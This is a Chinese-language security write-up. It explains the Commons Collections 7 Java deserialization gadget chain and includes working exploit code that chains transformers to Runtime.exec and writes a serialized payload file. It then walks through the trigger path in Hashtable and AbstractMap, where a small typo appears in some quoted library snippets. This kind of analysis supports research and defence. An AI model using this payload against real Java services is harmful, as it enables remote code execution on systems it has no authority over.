简介
Commons Collections7也是用LazyMap导致 RCE,这里触发Lazy.get的方式是利用Hashtable会重建内部的哈希表的特性.在遇到 hash碰撞的时候,会调用其中一个对象的equals方法来对比两个对象是否相同来判断是否真的是hash碰撞而,且使用的equals方法是父类 AbstractMap的equals 方法,在equals方法里边会用到map.get()方法(也就是lazyMap.get)。
适用版本:3.1-3.2.1,jdk1.7,1.8
主要代码
public static void main(String[] args) throws Exception {
String command = "open /Applications/Calculator.app/";
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes,
in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setFieldValue(transformerChain, "iTransformers", transformers);
lazyMap2.remove("yy");
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
利用链
分析
可以看到比较关键的部分是构造两个hashmap,通过lazymap的decorate用chained进行装饰后放进hashTable。
但是hashtable放进第二个lazymap时,因为两个lazymap的hash相同,所以将把第一个lazymap的key值yy放到第二个lazymap中,导致lazymap2中新添加yy->yy键值对。lazyMap的get函数如下
public Object get(Object key){
if(!this.map.containsKeey(key)){
Obiect value = this.factory.transform(key);
this.map.put(key,value);
return value;
}else{
return this.map.get(key);
}
}
为了后边的hash碰撞,我们lazyMap2.remove(“yy”)就完事了。
然后反序列化的大致过程如下,在Hashtable的readObject方法中会把每个key-value放到table里边
for(;elements>0;elements--){
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table,key,value);
}
当table放入第二个map的时候,会判断第一个lazymap的hash和当前key的hash是否相同以决定是新添加一个map还是覆盖原有的
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for(Entyr<?,?> e = tab[index]; e != null; e = e.next){
if((e.hash == hash)&& e.key.equals(key)){
throw new java.io.StreamCorruptedException();
}
}
此时会调用AbstractMap的equals方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
//判断一下两个lazymap的大小一样不一样,此时都为1
if (m.size() != size())
return false;
try {
for (Entry<K, V> e : entrySet()) {
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key) == null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // <-- 对于我们的 exp 来说, 会在这里会触发
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
只需要value!=null,我们就可以调用第二个lazymap的get函数,然后就是我们之前的老思路了.....